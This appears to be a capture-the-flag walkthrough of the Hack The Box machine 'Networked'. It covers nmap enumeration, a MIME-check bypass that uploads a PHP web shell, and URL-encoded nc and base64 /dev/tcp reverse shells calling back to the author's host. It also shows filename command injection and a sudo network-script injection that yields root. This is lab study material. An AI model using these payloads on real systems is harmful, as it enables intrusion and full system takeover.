- Published on
HTB Networked
- Authors
- Name
- collinhacks
- @collinhacks
Networked
Enumeration
nmap
find all ports
nmap -p- -Pn <ip> -o full-enumerate.nmap
└─$ nmap -p- -Pn $IP -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 15:57 EDT
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 65380 filtered tcp ports (no-response), 152 filtered tcp ports (host-unreach)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Nmap done: 1 IP address (1 host up) scanned in 146.48 seconds
~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap
cat ports.nmap
nmap
all identified ports + default scripts & service versions
nmap -p <1,2,3> -A --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap
└─$ nmap -p 22,80,443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 16:09 EDT
Nmap scan report for 10.10.10.146
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-headers:
| Date: Sun, 20 Aug 2023 20:09:43 GMT
| Server: Apache/2.4.6 (CentOS) PHP/5.4.16
| X-Powered-By: PHP/5.4.16
| Connection: close
| Content-Type: text/html; charset=UTF-8
|
|_ (Request type: HEAD)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds
nmap
vuln scan
nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap
Port Enumeration
**Port 80
- wfuzz started
- http://10.10.10.146/backup/ backup.tar here gonna check it out
extracts
index.php
,lib.php
,photos.php
, andupload.php
upload.php
seems to be a web page as well and we can upload.jpg
,.png
,.gif
, and.jpeg
as seen by the source code
- http://10.10.10.146/backup/ backup.tar here gonna check it out
MIME
lib.php
is used inside ofupload.php
, andlib.php
has some sort of MIME functionality.This calls
file_mime_type()
and rejects the file if it is not an image. So I cannano test.png
and even though.png
is allowed, it will not be accepted.
Exploitation
**********Port 80
Foothold
Bypass MIME
To bypass MIME upload to the web server, we can use
xxd
into a.png
file to make sure the server reads it as an image, since MIME is verifying that.echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > test.png
Now we can try uploading this file and see that it actually works
Compared to doing just a normal
test.png
it doesn’t work but exporting the first 16 Hexadecimal of a PNG bypasses it
Create an exploit we can just do a cmd php
nano shell.php.png
<?php system($_REQUEST['cmd']); ?>
It only reads the first
.
extension uploadedCreate a mime image
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime.php.png
Put our actual
shell
file into themime
filecat shell.php.png >> mime.php.png
Could’ve just copied it in but we’re fancy
Upload
mime.php.png
http://10.10.10.146/photos.php/ shows our image(s) there and actually renames it to our IP as per
uploads.php
's code/uploads
directory is/var/www/html/uploads
as defined as well inuploads.php
http://10.10.10.146/uploads/10_10_16_4.php.png?cmd=whoami is RCE confirmed
RCE to shell
URL encoded reverse shell with
nc
(my favorite one)Paste it in after
?cmd=
http://10.10.10.146/uploads/10_10_16_4.php.png?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.4%209001%20%3E%2Ftmp%2Ff
Interesting enough it actually puts us in
/var/www/html/uploads
which is the exact directory we called the reverse shell from, which is cool
apache → guly
cd /home
shows a user guly and I do not have permission to readuser.txt
cd /tmp
→curl -O http://<tun0>/linpeas.sh
&pspy32
cuz wget not installedchmod +x linpeas.sh
→./linpeas.sh
- nothing in either that stands out aside from kernel exploits so I’m pretty sure it’s gonna be the files in the home directory
check_attack.php
in home directory which contains some interesting stuff that seems to go to theuploads
directory on the web app
check_attack.php
bash-4.2$ cat check_attack.php <?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>
- One line stands out to me, which looks like some sort of command execution?
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
- If I can control the value variables then I can probably do some sort of execution. Usually you want to pass
base64
here since it is local and that is how we can talk over a shell - First create a reverse shell with
base64
encoded locally with/dev/tcp
echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.4/9002 0>&1"' | base64
bash-4.2$ echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.4/9002 0>&1"' | base64 YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi
Here is our base64 string, which we can use to get a callback
echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi | base64 -d | sh
Which gives us a shell, but as
apache
, so it kinda works so far
- Utilize
/var/www/html/uploads
with this base64 string to actually set the $value variable which should run it, but asguly
touch '/var/www/html/uploads/a; echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi | base64 -d | sh
With this we are just basically creating a blank file in
/var/www/html/uploads
calleda
and passing the shell (echo ...
) as the $value variable, so after a few minutes the cron should execute to our listener on 9002
Root
guly → root
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
changename.sh
[guly@networked sbin]$ cat changename.sh #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 [guly@networked sbin]$
- Looks like
changename.sh
is writing to/etc/sysconfig/network-scripts/ifcfg-guly
cat /etc/sysconfig/network-scripts/ifcfg-guly
[guly@networked sbin]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=1
PROXY_METHOD=2
BROWSER_ONLY=3
BOOTPROTO=4
- It read our
1
,2
,3
, and4
as input - I started giving it random input, and it was saying
command not found
, but specifically with what I FIRST name it as, like I didasd
and some other random stuff and it showsasd: command not found
[guly@networked sbin]$ sudo /usr/local/sbin/changename.sh
interface NAME:
0asd3
interface PROXY_METHOD:
asdl asd asd
interface BROWSER_ONLY:
ok
interface BOOTPROTO:
asdj
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: asd: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: asd: command not found
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
- Logically if it is looking for a command, earlier we made an
a
file so we can call that and try sudo /usr/local/sbin/changename.sh
then started giving it a bunch of things I would do if I was root, anda su root
seemed to of given me root
[guly@networked sbin]$ sudo /usr/local/sbin/changename.sh
interface NAME:
a whoami
interface PROXY_METHOD:
a pwd
interface BROWSER_ONLY:
a su root
interface BOOTPROTO:
id
root
/etc/sysconfig/network-scripts
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]#